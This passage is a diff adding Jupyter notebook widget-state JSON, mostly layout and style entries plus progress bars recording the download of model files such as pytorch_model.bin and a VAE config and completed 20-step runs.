"1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c7b630dc7b8448219ca505398c12afef", + "placeholder": "​", + "style": "IPY_MODEL_81f9fd794d22477f8836a11322d5325b", + "value": "Downloading (…)ain/model_index.json: 100%" + } + }, + "645ebe129fd544a4b9383dfc1414cf0a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b539338d7bf84f50a8c57f90986a8d9a", + "placeholder": "​", + "style": "IPY_MODEL_d16de73052ac42e8a8065d4dc54ebe51", + "value": " 20/20 [00:10<00:00, 4.01it/s]" + } + }, + "64e440c8c82144beaec1e1d61cd5e9e0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_64180e5dd63840e3bb21af7aefa3cf45", + "IPY_MODEL_abb332369a9b4996b84d77eee7e5dc0a", + "IPY_MODEL_e69330feb37747c5b22d4dd215f934bd" + ], + "layout": "IPY_MODEL_41cb4b504f3e45ea847e1cd74ae449d0" + } + }, + "65de6855b9944b829c4aa77bce39009f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "66f7c6f267864c929727fd96a83e6d06": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "67768915a19a448c94620204f861d005": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7699034aeb584f12864aaa30a7f2e6b5", + "placeholder": "​", + "style": "IPY_MODEL_0762e7a5efb84a4b9bf60c5cf3235671", + "value": " 20/20 [00:08<00:00, 7.50it/s]" + } + }, + "67f164f2226d430eb0c2cd3c63d14368": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "681be606b86c42fd9cad68e63e2782de": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "682a337dc14e48908be4cf40f7320d1f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "6846be1897c64311a10d421483131bf9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_147cd6ad4d4c4fca82a7a531684ffd2a", + "IPY_MODEL_6f88f6e516064ed1a82e1d69742d324c", + "IPY_MODEL_9998dc803aec438ab2bbdcb1edb8ab4e" + ], + "layout": "IPY_MODEL_67f164f2226d430eb0c2cd3c63d14368" + } + }, + "697d6a7fa4ee4d37bb80d624ffedf526": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6b872da2a0944f5da6eb68792937311b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6ba872bd45c34e6c8202cc3722dc9285": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6c0b26e65230468cb5ef11d3d0bf1bd3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f48bc2b8666b4e48a6f8cad4cda2530d", + "placeholder": "​", + "style": "IPY_MODEL_29e96ee99a714e2c86a0d68be1a31055", + "value": " 20/20 [00:07<00:00, 2.93it/s]" + } + }, + "6c353682d9d64022a11f31357816f14d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6c6f19d716d2410b813e32f3b051619a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6ca7d8cb9ad2472bad727eba7c993816": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6ca84bcd6bea4a92a80d50351aa1be4f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_87fcb7d5949d440dbe3c18e7059e65ad", + "placeholder": "​", + "style": "IPY_MODEL_173d85b54dd4419883fc83cfa2beacc5", + "value": "Downloading (…)8e6a/vae/config.json: 100%" + } + }, + "6d699038776e4fad8bb74d2381109b65": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6d8e99610d624a09a53ef0c77b3f0c25": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6da0c63935ac4ee4bfe6a6efbedfa93d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e57b840c4d3c4abcae1b69b189701c72", + "placeholder": "​", + "style": "IPY_MODEL_304e7a7a38834b3093002b6694c7cb67", + "value": "Downloading (…)okenizer_config.json: 100%" + } + }, + "6e14135b00e447c18a0a693d47f5c92b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8119e3c1840d4e0b975055cb0c255208", + "max": 1445157124, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ad785ec6b7924f2ebcdf0957a16c656d", + "value": 1445157124 + } + }, + "6e327baf7a9144fcaff7c6317d018862": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6e7d3e445440469baa5aaab1cbbb9291": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6e89b30bfcd04f1ebc77492eae365847": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4a3c28369fc14bbebdc749d0b3a5747b", + "placeholder": "​", + "style": "IPY_MODEL_be72ef0e4b8840608fd9160a6b43075d", + "value": "Downloading (…)8e6a/vae/config.json: 100%" + } + }, + "6ea8901001af4f2aa0039b18f5e758a4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6f88f6e516064ed1a82e1d69742d324c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f1a22eae63cb4eb982a02ccd11422014", + "max": 920, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_aac46407f5d74ebbb6a58b10de9b86f4", + "value": 920 + } + }, + "6f9f95e2d503403f83be05364b4199cd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "6fbeaf60da4746b6a1c02a211657886b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7010861902ab409e9a4f65efad33683c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c30088b9866c429fa513397b03d2e3c8", + "placeholder": "​", + "style": "IPY_MODEL_f48a988402a947a098ed14bfd0dc9a53", + "value": "Downloading pytorch_model.bin: 100%" + } + }, + "7016696c087c4b3d85d5928cca064add": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7301b1053b6446da9756caeb59d5be8b", + "max": 3438167540, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_94fba57a53d04861ab5a889193d27f83", + "value": 3438167540 + } + }, + "7027773c6c484afa9ee32448a320f948": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7035d48a0c874fe7b7bd20c6b03bdf85": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "707ce79ce0da4f35ad6b8f636d2901f8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "713f6c4e65a5418481d59fb756bd043c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "719559db7a7943fbb823795a1697a10c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "71b5693eda974ad78235b59d848304ab": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "71ee3795a28a4776bdb13f68f11ffaaa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + 